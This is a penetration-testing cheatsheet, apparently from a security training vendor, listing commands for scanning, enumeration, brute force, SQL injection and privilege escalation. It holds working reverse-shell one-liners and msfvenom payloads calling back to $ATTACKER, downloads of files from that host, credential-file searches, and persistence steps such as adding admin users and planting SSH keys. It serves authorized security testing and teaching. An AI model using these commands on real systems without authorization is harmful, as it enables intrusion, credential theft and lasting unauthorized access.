Penetration Testing Cheatsheet: Commands and Quick Reference

Introduction

A penetration test is a structured attempt to find and prove exploitable weaknesses before an adversary does. Most of the work is not glamorous zero-days; it is disciplined reconnaissance, service enumeration, credential testing, and privilege escalation under a written rules of engagement. This cheatsheet is a command pad for that workflow: host discovery and port scanning, banner and protocol checks, common footholds (shells and brute force), then Linux and Windows local checks that often turn a user shell into admin. Commands assume a Kali-style toolkit (Nmap, Gobuster, Hydra, and similar). Replace $TARGET, $ATTACKER, and ports for your scope. Use only on systems you are authorized to test.

Reconnaissance and Enumeration (Pentesting)

Nmap: Host Discovery and Port Scanning

# -sn: ping sweep only (no port scan); finds live hosts in /24
nmap -sn $TARGET/24 -oG ping-sweep.txt
# Extract just the IP addresses of hosts that responded
grep "Up" ping-sweep.txt | cut -d " " -f 2 > live-hosts.txt

# -sV: service version; -sC: default NSE scripts; -Pn: skip ping (use if host blocks ICMP); -p-: all 65535 ports
nmap -sV -sC -Pn -p- $TARGET -oN full-scan.txt

# --top-ports 1000: scan most common 1000 ports (faster than -p-)
nmap -sV -sC -Pn --top-ports 1000 $TARGET

# --open: only show open ports; -oG: greppable output (one line per host)
nmap $TARGET --open -oG scan-results
grep "/open" scan-results | cut -d " " -f 2 > live-hosts.txt

Banner Grabbing (Service Enumeration)

# nc -nv: netcat, numeric IP, verbose. Connect to port to read banner (e.g. HTTP/SSH).
nc -nv $TARGET 80
nc -nv $TARGET 443

# FTP often sends banner on connect; echo sends empty line then exits
echo "" | nc -nv $TARGET 21

# -sI: head only (no body). Shows Server, X-Powered-By, etc.
curl -sI http://$TARGET/

DNS Enumeration (Reconnaissance)

# whois: registrar and domain ownership info
whois domain.com

# dig: DNS lookup. a=IP, txt=text, ns=nameservers, mx=mail servers
dig a domain.com
dig txt domain.com
dig ns domain.com
dig mx domain.com

# axfr: zone transfer (if allowed, dumps all DNS records from nameserver)
dig axfr @ns1.domain.com domain.com

# host -t: type of record; -l: list zone (like axfr)
host -t a domain.com
host -l domain.com ns1.domain.com

# dnsenum: subdomain brute-force and zone transfer check
dnsenum domain.com

HTTP and Web Enumeration (Gobuster, Feroxbuster, Nikto, WPScan)

# dir: directory mode; -u: URL; -w: wordlist; -t: threads; -q: quiet
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirb/common.txt -t 40 -q

# Feroxbuster: recursive dir busting (follows links), auto-calibrates
feroxbuster -u http://$TARGET/ -w /usr/share/wordlists/dirb/common.txt

# vhost: treat wordlist lines as Host names; --append-domain required on Gobuster 3.x
gobuster vhost -u http://$TARGET/ -w subdomains.txt --append-domain -t 20

# Nikto: web server vulnerability scanner (CGI, outdated versions, etc.)
nikto -h http://$TARGET

# WPScan: WordPress scanner. u=users, p=plugins, t=themes
wpscan --url http://$TARGET --enumerate u,p,t

SMB and NetBIOS Enumeration

# NetBIOS name and MAC; quick Windows/ SMB host check
nbtscan $TARGET

# -L: list shares; -N: no password (anonymous)
smbclient -L //$TARGET -N

# -U "user%pass": list shares as user
smbclient -L //$TARGET -U "user%pass"

# enum4linux: users, groups, shares, policies (null session if allowed)
enum4linux -a $TARGET

# crackmapexec (legacy): list shares; -u '' -p '' = null session
crackmapexec smb $TARGET --shares -u '' -p ''

# netexec (nxc): current CrackMapExec fork, same flags
nxc smb $TARGET --shares -u '' -p ''

SNMP Enumeration (UDP 161)

# SNMP is UDP; use -sU with Nmap and allow timeouts. -c: community string; -v2c: version 2c
# 1.3.6.1.2.1.1 = system subtree (sysDescr, sysUpTime, etc.)
snmpwalk -c public -v2c $TARGET 1.3.6.1.2.1.1

# 1.3.6.1.2.1.1.5.0 = sysName (hostname)
snmpwalk -c public -v2c $TARGET 1.3.6.1.2.1.1.5.0

# -sU: UDP scan; snmp-info/snmp-brute: enumerate and try community strings
nmap -sU -p 161 --script snmp-info,snmp-brute $TARGET

# onesixtyone: fast SNMP community string brute-force
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt $TARGET

SMTP User Enumeration

# VRFY asks server "does this user exist?"; often reveals valid usernames
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t $TARGET

# smtp-commands: EHLO support; smtp-enum-users: try VRFY/EXPN/RCPT
nmap -p 25 --script smtp-commands,smtp-enum-users $TARGET

Gaining Access (Pentesting)

Reverse Shell One-Liners (Bash, Netcat, Python, PowerShell)

Bash (Linux, /dev/tcp):

# Bash built-in /dev/tcp: connects to ATTACKER:443 and redirects stdin/out/err to it (interactive shell)
bash -i >& /dev/tcp/$ATTACKER/443 0>&1

Netcat (use ncat if nc -e not available, e.g. Debian/Ubuntu):

# -e: execute /bin/sh and pipe to the connection (not all nc have -e)
nc -e /bin/sh $ATTACKER 443

# Portable: mkfifo creates a pipe; data flows: your shell <-> pipe <-> netcat <-> attacker
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc $ATTACKER 443 > /tmp/f

# ncat (from Nmap) supports -e on most distros
ncat -e /bin/sh $ATTACKER 443

Python / Python3:

# Opens TCP socket to attacker, duplicates stdin/out/err to it, spawns /bin/sh
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'$ATTACKER'",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

PHP:

# fsockopen connects to attacker; exec runs shell with file descriptors 3 connected to the socket
php -r '$sock=fsockopen("'$ATTACKER'",443);exec("/bin/sh -i <&3 >&3 2>&3");'

PowerShell (Windows):

# -nop: no profile. Connects to ATTACKER:443, reads commands, executes (iex), sends output back (interactive)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('$ATTACKER',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1 | Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}"

Listener (Attacker)

# -l: listen; -v: verbose; -n: no DNS; -p: port. Run on your machine before triggering reverse shell.
nc -lvnp 443

Upgrade Shell to TTY

# Spawn a proper PTY so Ctrl+C and tab-completion work
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Then press Ctrl+Z and run (on your terminal): restores raw mode and foregrounds the shell
stty raw -echo; fg

# So terminal type is set correctly
export TERM=xterm

Hydra: Password Brute-Force

# -l: single user; -P: password list; -f: stop after first valid login
hydra -l user -P /usr/share/wordlists/rockyou.txt $TARGET ssh -f

# http-post-form: URL:form_params:failed_string (^USER^ and ^PASS^ are replaced)
hydra -l user -P wordlist.txt $TARGET http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

# -L/-P: user list and password list (e.g. for SMB)
hydra -L users.txt -P pass.txt $TARGET smb

Hash Cracking (Hashcat, John)

# -m 0 = MD5; 1000 = NTLM; 1800 = sha512crypt. hashcat uses GPU if available.
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# John: wordlist mode; --format tells John the hash type (auto-detect often works)
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

john --format=raw-md5 hashes.txt

SQL Injection (sqlmap)

# -u: URL with injectable parameter; --batch: no prompts; --risk/--level: test depth (higher = more requests)
sqlmap -u "http://$TARGET/page?id=1" --batch --risk=2 --level=3

# -r: use raw request file (e.g. from Burp) for POST or cookies
sqlmap -r request.txt --batch --risk=2 --level=3

Payload Generation (msfvenom)

# -p: payload; LHOST/LPORT: your listener; -f: format (elf/exe); -o: output file
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=443 -f elf -o shell.elf

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=443 -f exe -o shell.exe

# 32-bit Windows when the target process is x86
msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER LPORT=443 -f exe -o shell32.exe

# List all payloads: msfvenom -l payloads

Local Enumeration and Privilege Escalation (Linux and Windows)

Linux Privilege Escalation: Quick Checks

# id: current user/groups; uname -a: kernel and hostname
id; uname -a

# sudo -l: which commands you can run as root (no password?)
sudo -l

# Cron: scheduled tasks (system-wide and user). Look for writable scripts or paths.
cat /etc/crontab
ls -la /etc/cron*

# SUID: files that run as owner (often root). 4000 = setuid bit.
find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# getcap: files with capabilities (e.g. cap_setuid can help escalate)
getcap -r / 2>/dev/null

# Users and shell; env/history for passwords or paths
cat /etc/passwd
grep -v nologin /etc/passwd
env
history
# uname -r = kernel version; search for public exploits

Linux: Writable Directories and SUID

# World-writable dirs: you may drop scripts or replace files (noisy; filter out /proc)
find / -perm -o+w -type d 2>/dev/null | grep -v /proc

# SUID binaries: run with owner privileges (often root)
find / -perm -4000 2>/dev/null

Windows Privilege Escalation: Quick Checks

# whoami /all: user, groups, privileges, integrity level
whoami /all

# OS version and hotfixes (for kernel exploits)
systeminfo

# Local users and admin group
net user
net localgroup administrators

# Scheduled tasks (writable path or overprivileged?)
schtasks /query /fo LIST /v

# Programs that run at logon (persistence / hijack)
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Windows: Unquoted Service Path

# Services with path not in quotes and with spaces can be hijacked (e.g. C:\Program.exe)
# wmic is removed on some Win11 builds; sc qc <name> still shows the binary path
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows"

Windows: Stored Credentials

# cmdkey: saved logon credentials (sometimes plaintext or reusable)
cmdkey /list

# Search for password/credential files on disk
dir /s /b c:\*pass*.txt c:\*cred*.ini 2>nul

Post-Exploitation and Persistence (Pentesting)

Add User (Linux)

# -m: home dir; -s: shell; -p: password hash (openssl passwd -1 = MD5 crypt, need root)
useradd -m -s /bin/bash -p $(openssl passwd -1 PASSWORD) newuser

# Add to sudo group (or wheel on RHEL)
usermod -aG sudo newuser

Add User (Windows)

# Create user then add to local administrators
net user newuser PASSWORD /add

net localgroup administrators newuser /add

SSH Key (Linux Persistence)

# Add your public key so you can SSH back as that user
mkdir -p ~/.ssh
echo "ssh-rsa AAAA... key" >> ~/.ssh/authorized_keys

chmod 600 ~/.ssh/authorized_keys

Simple HTTP Server (Transfer Files)

# Serves current directory on port 80 (run from folder with your tools)
python3 -m http.server 80

Download File (Linux)

# wget -O: save as; curl -o: save as (from attacker or any URL)
wget http://$ATTACKER/file -O /tmp/file

curl -o /tmp/file http://$ATTACKER/file

Download File (Windows)

# certutil: built-in, often allowed by AV. -urlcache -f: fetch URL to file
certutil -urlcache -f http://$ATTACKER/file.exe file.exe

# curl.exe: available on Windows 10+ (same as Linux curl)
curl.exe -o file.exe http://$ATTACKER/file.exe

# PowerShell: Net.WebClient or Invoke-WebRequest (may be restricted by policy)
powershell -c "(New-Object Net.WebClient).DownloadFile('http://$ATTACKER/file.exe','file.exe')"
powershell -c "Invoke-WebRequest -Uri http://$ATTACKER/file.exe -OutFile file.exe"

Port Forwarding and SSH Tunneling

SSH Local Port Forward

# -L local_port:remote_host:remote_port. Traffic to your 8080 is sent through SSH to jumpbox, then to TARGET:80
ssh -L 127.0.0.1:8080:$TARGET:80 user@jumpbox
# On your machine: open http://127.0.0.1:8080 to reach TARGET:80 via the tunnel

SSH Dynamic SOCKS Proxy

# -D 1080: SOCKS5 proxy on your port 1080; all traffic via SSH through $TARGET
ssh -D 1080 user@$TARGET
# In browser or proxychains: set proxy to 127.0.0.1:1080 to route through the host

SSH Remote Port Forward (Expose Local Service)

# -R: open port 8080 on ATTACKER, forward to your local 80. Use to expose internal service to attacker.
ssh -R 8080:127.0.0.1:80 user@$ATTACKER

Useful One-Liners (Pentesting)

Extract URLs from File

# -oP: only matching part, Perl regex. Extracts http(s) URLs; sort -u removes duplicates
grep -oP 'https?://[^\s<>"]+' file.html | sort -u

Base64 Encode/Decode

# -n: no newline. Encode for exfil or payloads; decode to get original
echo -n "data" | base64

echo "b64string" | base64 -d

Quick Python HTTP Server

# Same as the transfer server above; 8000 if you cannot bind port 80
python3 -m http.server 8000

Check Listening Ports

# ss: modern; netstat: legacy. -t: TCP, -u: UDP, -l: listening, -n: numeric, -p: process
ss -tulnp

netstat -tulnp

Summary: What This Penetration Testing Cheatsheet Covers

This penetration testing cheatsheet includes: Nmap (host discovery, port scan, -Pn), banner grabbing, DNS and web enumeration (Gobuster, Feroxbuster, Nikto, WPScan), SMB and SNMP (UDP), SMTP user enumeration, reverse shells (Bash, Netcat/ncat, Python3, PHP, PowerShell), Hydra, hash cracking (Hashcat, John), sqlmap, msfvenom, Linux and Windows privilege escalation (SUID, capabilities, cron, services), post-exploitation (user creation, SSH persistence, file transfer), and SSH port forwarding. Use only on systems you are authorized to test.

References

• https://nmap.org/docs.html

• https://owasp.org/www-project-web-security-testing-guide/

• https://hashcat.net/wiki/

• https://www.openwall.com/john/doc/

• https://docs.metasploit.com/

---

Register for instructor-led online courses today! https://www.darkrelay.com/courses

Check out our self-paced learning paths! https://www.darkrelay.com/learning-paths

Explore our bundled Pricing & Plans for cost-effective options! Buy a course subscription to learn more—hands-on labs and expert-led training included. https://www.darkrelay.com/plans-pricing

Contact us for custom pentesting needs at: info@darkrelay.com or WhatsApp.

Follow us on: LinkedIn Twitter Facebook Instagram YouTube